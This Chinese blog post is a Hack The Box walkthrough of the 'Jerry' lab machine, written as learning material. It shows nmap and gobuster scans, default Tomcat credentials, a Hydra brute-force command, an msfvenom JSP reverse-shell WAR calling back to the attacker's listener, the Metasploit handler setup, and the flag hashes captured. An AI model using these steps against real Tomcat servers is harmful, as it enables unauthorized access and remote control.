iT邦幫忙

2024 iThome 鐵人賽

DAY 26
0
自我挑戰組

從零開始:資安滲透初探系列 第 26

22: 資安滲透初探: HTB靶機入門: Jerry

  • 分享至 

  • xImage
  •  

這幾天打了幾台靶機,
明明都是打easy的,但是很多後半都沒辦法完成...(看著write-up也看不懂QQ
今天要打的Jerry算是超級友善了

https://app.hackthebox.com/machines/Jerry
先看一下靶機簡介:
雖然 Jerry 是 Hack The Box 上較容易的機器之一,但它是現實的,因為 Apache Tomcat 常常暴露在外且配置了常見或弱的憑證。

Task 1: Which TCP port is open on the remote host?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV -T4 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 23:14 EDT
Nmap scan report for 10.10.10.95
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.40 seconds
```

Task 2: Which web server is running on the remote host? Looking for two words.

`Apache Tomcat`
(見Task 1的nmap結果)

Task 3: Which relative path on the webserver leads to the Web Application Manager?

- 方法1: `經驗`
根據經驗,`/manager/html` 是 Apache Tomcat Web Application Manager 的常見路徑,因此你可以直接嘗試訪問該路徑。
- 方法2: `gobuster`
    - 你可以使用 `gobuster` 掃描常見的 URL 路徑,看看是否有任何有效的管理界面路徑。
        
        ```bash
        gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/dirb/common.txt
        ```
        
        - 這個命令將使用常見的目錄列表(`common.txt`)來掃描 `http://10.10.10.95:8080` 下的所有可能的路徑。

Task 4: What is the valid username and password combination for authenticating into the Tomcat Web Application Manager? Give the answer in the format of username:password

嘗試`admin`:`admin`被Denied,但得到正確的帳號密碼`tomcat:s3cret` (不知道這是不是bug)

![image.png](https://i.imgur.com/AmqM9jk.png)

- 備選:字典爆破
    
    要找到 Tomcat Web Application Manager 的有效用戶名和密碼組合,可以按照以下步驟進行操作:
    
    ### 1. **嘗試默認憑據**:
    
    - Tomcat 的 Web Application Manager 通常配置有默認的用戶名和密碼組合。你可以嘗試一些常見的默認憑據,例如:
        - `admin:admin`
        - `admin:tomcat`
        - `tomcat:tomcat`
    
    ### 2. **使用字典攻擊(Brute-Force Attack)**:
    
    - 如果默認憑據無法登錄,可以使用字典攻擊來測試常見的用戶名和密碼組合。可以使用工具如 `Hydra` 或編寫 Python 腳本來進行攻擊。
    
    ### 使用 `Hydra` 進行字典攻擊:
    
    1. **準備字典**:
        - 你可以使用 `SecLists` 提供的默認憑據列表,例如:
            
            ```
            /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
            ```
            
    2. **運行 Hydra**:
        - 使用 Hydra 測試 Tomcat 的 Web Application Manager 憑據:
            
            ```bash
            hydra -l tomcat -P /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt 10.10.10.95 http-get /manager/html
            ```
            
        - `l tomcat` 指定用戶名為 `tomcat`,`P` 指定密碼列表文件,`10.10.10.95` 是目標 IP,`http-get` 是攻擊方法,`/manager/html` 是目標 URL。
    3. **查看結果**:
        - 如果成功,Hydra 會輸出一個有效的用戶名和密碼組合。
    
    ### 3. **編寫簡單的 Python 腳本進行字典攻擊(選擇性)**:
    
    - 你也可以編寫一個簡單的 Python 腳本來測試憑據,write-up 中提供了一個簡單的腳本 `tomcat-brute.py`。
    
    ### 4. **驗證登錄**:
    
    - 使用你找到的用戶名和密碼組合,在瀏覽器中登錄到 Tomcat Web Application Manager 確認其有效性。
    
    ### 5. **回答問題**:
    
    - 一旦你找到了正確的用戶名和密碼組合,按照問題要求的格式提交答案:
        
        ```
        username:password
        
        ```
        
    
    ### 示例操作:
    
    假設你使用 `Hydra` 成功發現組合為 `tomcat:s3cret`,你可以回答問題:
    
    ```
    tomcat:s3cret
    
    ```
    
    

Task 5: Which file type can be uploaded and deployed on the server using the Tomcat Web Application Manager?

![image.png](https://i.imgur.com/fc6NRG4.png)

- WAR知識補充
    
    **WAR**(Web Application Archive)是一種文件格式,用於將 Java Web 應用程序的組件打包在一起,以便在 Java EE 應用服務器(如 Apache Tomcat)上部署和運行。
    
    ### WAR 文件的結構和用途:
    
    1. **打包 Java Web 應用程序**:
        - WAR 文件是一個壓縮包(類似於 ZIP 文件),其中包含了 Java Web 應用程序的所有組件,包括:
            - **HTML、JSP 文件**:用於構建網頁界面。
            - **Java 類文件**:包含應用程序的業務邏輯,這些類文件是由源代碼(.java)編譯而來的字節碼(.class)。
            - **配置文件**:如 `web.xml`,這是部署描述符文件,用於配置應用程序的行為和資源。
            - **靜態資源**:如圖片、JavaScript 文件、CSS 文件等。
    2. **部署到應用服務器**:
        - 當你將 WAR 文件部署到 Java EE 應用服務器時,服務器會自動解壓這個文件並將其中的內容部署到相應的目錄,然後應用程序即可運行。
        - 這種方式使得應用程序的部署變得簡單和標準化,特別是在大型企業應用中,WAR 文件的使用非常普遍。
    3. **應用服務器如何處理 WAR 文件**:
        - 應用服務器(如 Apache Tomcat)會自動解壓 WAR 文件,將其內容提取到服務器的應用目錄中,然後按照 `web.xml` 文件中的配置來啟動應用程序。
        - 用戶可以通過 Web 瀏覽器訪問這個應用程序。
    
    ### WAR 文件的結構:
    
    一個典型的 WAR 文件可能包含以下目錄和文件:
    
    ```
    MyApp.war
    │
    ├── META-INF/
    │   └── MANIFEST.MF    # 包含一些關於應用的基本元數據
    │
    ├── WEB-INF/
    │   ├── web.xml        # 部署描述符
    │   ├── classes/       # 包含編譯後的 Java 類文件
    │   ├── lib/           # 包含應用需要的外部庫(JAR 文件)
    │   └── views/         # 包含 JSP 文件或其他模板文件
    │
    ├── index.html         # 應用的首頁
    └── static/            # 包含靜態資源,如圖片、CSS 和 JavaScript 文件
    
    ```
    
    ### 在滲透測試中的應用:
    
    在滲透測試中,WAR 文件可以用於部署惡意的 Web Shell 或後門,以獲取對目標系統的控制權。例如,攻擊者可以創建一個包含 Web Shell 的 WAR 文件,然後將其上傳到存在漏洞的應用服務器,從而遠程執行命令。
    
    ### 總結:
    
    WAR 文件是 Java Web 應用程序的標準打包格式,用於將應用程序的所有組件打包在一起,以便部署到應用服務器。它包含了應用的所有必需文件,並且可以輕鬆地在不同的服務器之間傳輸和部署。
    
   
    

Task 6: Submit User Flag: Submit the flag located on the user's desktop.

※如果ssh port22有開可以直接連(但本題沒有)

- 建立一個reverse shell
    
    ```bash
    ┌──(kali㉿kali)-[~]
    └─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444 -f war -o shell.war
    Payload size: 1086 bytes
    Final size of war file: 1086 bytes
    Saved as: shell.war
    ```
    
- 設定監聽端
    
    ```bash
    msfconsole
    msf6 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
    payload => java/jsp_shell_reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 10.10.16.2 
    LHOST => 10.10.16.2
    msf6 exploit(multi/handler) > set LPORT 4444
    LPORT => 4444
    msf6 exploit(multi/handler) > run
    ```
    
    ※LHOST要設為VPN的IP
    
- 上傳shell.war
    
    ![螢幕擷取畫面 2024-08-25 120829.png](https://i.imgur.com/wh8bIEK.png)
    
- 進入`http://10.10.10.95:8080/shell/`使監聽端獲得控制權
    
    ```bash
    [*] Started reverse TCP handler on 10.10.16.2:4444 
    [*] Command shell session 1 opened (10.10.16.2:4444 -> 10.10.10.95:49192) at 2024-08-25 00:10:31 -0400
    
    Shell Banner:
    Microsoft Windows [Version 6.3.9600]
    -----
              
    
    C:\apache-tomcat-7.0.88>
    ```
    
- 找到flag的位置並開啟
    
    ※提示:ls在windows上叫dir ; cat → type
    
    ```bash
    C:\Users\Administrator\Desktop\flags>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is 0834-6C04
    
     Directory of C:\Users\Administrator\Desktop\flags
    
    06/19/2018  07:09 AM    <DIR>          .
    06/19/2018  07:09 AM    <DIR>          ..
    06/19/2018  07:11 AM                88 2 for the price of 1.txt
                   1 File(s)             88 bytes
                   2 Dir(s)   2,419,257,344 bytes free
    ```
    
    ```bash
    C:\Users\Administrator\Desktop\flags>type type "2 for the price of 1.txt"
    type type "2 for the price of 1.txt"
    user.txt
    7004dbcef0f854e0fb401875f26ebd00
    
    root.txt
    04a8b36e1545a455393d067e772fe90e
    ```
    

Task 7: Submit Root Flag: Submit the flag located on the administrator's desktop.

兩個答案放在一起,參閱上面root.txt

上一篇
21: 資安滲透初探: HTB靶機入門: Cap
下一篇
23: 資安滲透初探: HTB靶機入門: Blue
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言